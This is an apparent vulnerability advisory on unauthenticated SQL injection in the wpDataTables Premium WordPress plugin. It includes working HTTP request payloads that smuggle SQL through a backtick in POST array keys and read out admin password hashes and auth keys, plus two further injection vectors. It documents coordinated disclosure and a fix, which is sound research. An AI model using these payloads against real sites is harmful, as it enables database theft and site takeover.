The key is the payload: unauthenticated SQL injection in wpDataTables
Everyone audits the values. Almost nobody audits the keys. wpDataTables Premium passes raw $_POST array keys into $wpdb->update() as column names — and a single backtick in a key turns a routine table save into arbitrary SQL on the WordPress database, with no login required.
Verified end-to-end in our lab: wpDataTables Premium 6.5.0.8 on WordPress 6.7 / PHP 8.2.28 / MySQL 8.0 (Docker). Affected: wpDataTables Premium ≤ 7.4; fixed in 7.4.1. This write-up covers the SQL injection findings only; other vulnerability classes from the same audit were reported separately and are out of scope here. Reported to the vendor through Patchstack under coordinated disclosure.
Summary
wpDataTables is one of the most popular table plugins for WordPress, and its frontend-editing feature saves rows through a public AJAX endpoint. Three independent failures line up: WordPress magic-quotes escape array values but never array keys; $wpdb->update() wraps column names in backticks but does not escape backticks inside them; and the plugin's save handler forwards the entire $_POST['formdata'] array — keys included — straight into that call. An unauthenticated visitor injects a crafted key containing a backtick, breaks out of the column quoting, and lands arbitrary SQL in an UPDATE against the site's own database.
The endpoint that trusts the post body
Frontend editing saves through admin-ajax.php, and the handler is registered twice — once for logged-in users, and once for literally everyone:
// controllers/wdt_ajax_actions.php — action registration
add_action('wp_ajax_wdt_save_table_frontend', 'wdtSaveTableFrontend');
add_action('wp_ajax_nopriv_wdt_save_table_frontend', 'wdtSaveTableFrontend');
// ^^^^^^ anonymous sessions are served by the same handler
Two guards stand between a stranger and that handler: a nonce and a role check. Both default to open. The edit nonce is printed into every public page that embeds an editable table — and since anonymous visitors all share WordPress user id 0, they all receive the same valid nonce:
// templates/frontend/table_main.inc.php — rendered into the public page
<?php wp_nonce_field('wdtFrontendEditTableNonce' . $this->getWpId(),
'wdtNonceFrontendEdit_' . $this->getWpId()); ?>
// one GET of the page hands this token to anyone who asks
The role gate fares no better. When a table is created, its editor_roles list starts empty — and empty is treated as "everyone":
// controllers/wdt_functions.php — wdtCurrentUserCanEdit()
function wdtCurrentUserCanEdit($tableEditorRoles, $tableId) {
// ...
if (empty($tableEditorRoles)) {
$userCanEdit = true; // the DEFAULT state means "everyone can edit"
}
// ...
}
Root cause: two escapers, one gap
Now the interesting part — why the payload survives. Layer one is WordPress "magic quotes". On every request, add_magic_quotes() walks the superglobals and escapes what it finds. But look at what it escapes:
// wp-includes/load.php
function add_magic_quotes($input_array) {
foreach ((array) $input_array as $k => $v) {
if (is_string($v)) {
$input_array[$k] = addslashes($v); // the VALUE gets escaped
}
// $k — the array KEY — is never escaped, ever
}
return $input_array;
}
So $_POST['formdata'] arrives with cleaned-up values and raw, fully attacker-controlled keys. Layer two is the database wrapper. $wpdb->update() treats array keys as column names and quotes them as identifiers — by wrapping them in backticks. What it never does is escape a backtick inside the name:
// wp-includes/class-wpdb.php — how the SET list is assembled
foreach ($data as $field => $value) {
// $format chosen per value type (%s / %d / %f)...
$fields[] = '`' . $field . '` = ' . $format;
// ^ the name is backtick-wrapped, but a backtick INSIDE
// $field is not escaped — it ends the identifier early
}
Layer three is the plugin itself. wdtSaveTableFrontend() does compare keys against known columns — but only to enrich its own bookkeeping. Keys it doesn't recognize are never removed from the array, and the whole thing goes to the sink:
// controllers/wdt_ajax_actions.php — wdtSaveTableFrontend()
// (column loop only rewrites known keys; unknown keys survive in $formData)
$formData = stripslashes_deep($formData); // :505
$res = $wpdb->update($mySqlTableName, $formData,
array($idKey => $idVal));
// every surviving key becomes a column assignment in the UPDATE
Put a backtick in a key and the layers fold into each other: the key passes the sanitizer untouched, terminates the identifier early inside UPDATE, and whatever follows it is parsed as live SQL.
Exploitation over HTTP
Step one — harvest the public nonce from any page embedding an editable table. Zero session, zero cookies:
GET /products/ HTTP/1.1
Host: target.example
// in the returned HTML:
<input type="hidden" id="wdtNonceFrontendEdit_1"
name="wdtNonceFrontendEdit_1" value="bd598cdfdd" />
Step two — the injection. The payload rides a formdata array key, URL-encoded in transit. Decoded, the key reads: secret_notes` = (SELECT user()) WHERE id=3 -- `
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=wdt_save_table_frontend
&wdtNonce=bd598cdfdd
&isDuplicate=0
&formdata[table_id]=1
&formdata[id]=3
&formdata[category]=clothing
&formdata[name]=Jacket
&formdata[price]=79.99
&formdata[secret_notes]=safe
&formdata[secret_notes`+%3D+(SELECT+user())+WHERE+id%3D3+--+]=x
WordPress assembles the UPDATE — note what the injected key becomes after the backtick wrap:
UPDATE `test_products` SET
`category` = 'clothing',
`name` = 'Jacket',
`price` = '7999',
`secret_notes` = 'safe',
`secret_notes` = (SELECT user()) WHERE id=3 -- ` = 'x'
WHERE `id` = '3'
-- the duplicate assignment wins; the subquery executes;
-- the injected WHERE id=3 governs; `-- ` comments out the rest
HTTP/1.1 200 OK
{"success":3,"error":"","is_new":false}
Step three — read the result back through the plugin's own public data endpoint (it has its own public nonce, printed into the same page), or simply reload the rendered table:
POST /wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
draw=1&start=0&length=10&wdtNonce=<server-side nonce>&...
{"draw":1,"recordsTotal":"4","recordsFiltered":"4","data":[
["3","clothing","Jacket","79,99","wpuser@172.23.0.3"]
]}
// secret_notes now holds the result of SELECT user() — the query ran
From read to takeover
The subquery is unrestricted — any table is readable, including the crown jewels:
formdata[secret_notes` = (SELECT user_pass FROM wp_users LIMIT 1) WHERE id=3 -- ]=x
// → the admin password hash lands in a rendered column; crack offline, log in
formdata[secret_notes` = (SELECT option_value FROM wp_options WHERE option_name='auth_key') WHERE id=3 -- ]=x
// → WordPress auth keys: forge session cookies directly, no cracking needed
If the table is not publicly readable, the same primitive degrades gracefully to time-based blind extraction:
formdata[secret_notes` = IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$',SLEEP(3),'x') WHERE id=3 -- ]=x
One honest constraint, because precision matters: $wpdb->update() runs through mysqli_query(), which does not stack statements by default — writes stay confined to a single UPDATE on the target table. Cross-table reads via subqueries are unrestricted, and in WordPress a read of wp_users is usually all an attacker needs.
The same mistake, two more doors
The systemic error — trusting a MySQL escaper where it does not belong — is not confined to the save handler. The audit isolated two further unauthenticated injection vectors in the same plugin, both on the read path.
%VAR1%..%VAR9% URL placeholders (wdt_var1..9). Table definitions can contain placeholder tokens that the plugin substitutes with request parameters through esc_sql(). But esc_sql() only escapes quote characters: when a placeholder sits in an unquoted context (a numeric comparison, LIMIT, ORDER BY) there is nothing to escape and the payload passes whole. Worse, the plugin's own "sanitizer" wdtSanitizeQuery() is a keyword blacklist that helpfully calls stripslashes() — restoring any quote the platform had escaped:
// controllers/wdt_functions.php — wdtSanitizeQuery()
$query = str_replace('DELETE', '', $query); // blacklist: DROP, INSERT,
// UPDATE, TRUNCATE, ... (bypassable)
$query = stripslashes($query); // :1917 — \' is restored to a bare ' here
$query = rtrim($query, "; \t\n");
Because this rides the read path, it needs no editable flag, and it reaches the default WordPress MySQL connection — the site database itself:
GET /wp-admin/admin-ajax.php?action=get_wdtable&table_id=7
&wdt_var1=0 OR SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='x' HTTP/1.1
Host: target.example
DataTables filter parameters on PostgreSQL / MSSQL connections. queryBasedConstruct() builds the server-side WHERE clause for every large table and guards string filters with addslashes() — a MySQL convention that does not neutralize a single quote on PostgreSQL or MSSQL. Any public server-side table on a separate PG/MSSQL connection is injectable through the global search[value] or any per-column filter — and several filter branches apply no escaping at all:
// source/class.wpdatatable.php:2667 — per-column filter, exact match
$search .= ... . "{$rightSysIdentifier} = '" . $columnSearch . "' ";
// no addslashes at all on this branch
Why it is critical
- No authentication. The nonce that gates the endpoint is printed into the public page; the role check defaults to "everyone". The attack needs zero credentials and zero cookies.
- The target is the WordPress database itself.
wp_usershashes,wp_optionskeys, every plugin's data — read access is the same as takeover in this ecosystem. - It is a chain of defaults, not a misconfiguration. A site owner who simply enables frontend editing on a public page is exposed; nothing exotic is required.
- Three vectors, one systemic root. Even a partial fix that only validates
formdatakeys leaves the placeholder and filter paths open — we reported all three so the remediation covers the class, not the symptom.
The primary vector needs a MySQL-type table exposed on a public page (for the nonce) — the plugin's documented frontend-editing use case. The placeholder vector additionally requires a table query that actually uses a %VARn% token, and the filter vector requires a PostgreSQL/MSSQL separate connection. The Lite version of the plugin is not affected (no frontend editing handler). CVSS 9.3 reflects the unauthenticated default-path injection; environmental prevalence is for the vendor and Patchstack to weigh.
Disclosure timeline
- 2026-05-30 — audit of wpDataTables Premium 6.5.0.8; backtick key-injection confirmed end-to-end against a clean Docker stand.
- 2026-05-31 — full report with PoCs and all SQLi vectors submitted to the vendor via Patchstack.
- 2026-08 — identifier CVE-2026-54825 assigned (CVSS 9.3); fix shipped by the vendor in wpDataTables 7.4.1.
- 2026-08-13 — public write-up (this page), SQL injection findings only.
References
- wpDataTables Premium 6.5.0.8 —
controllers/wdt_ajax_actions.php,source/class.wpdatatable.php,controllers/wdt_functions.php. - WordPress core —
wp-includes/load.php(magic quotes),wp-includes/class-wpdb.php(identifier quoting). - MySQL documentation: identifiers and backtick quoting; PHP documentation:
mysqlimulti-statement behavior.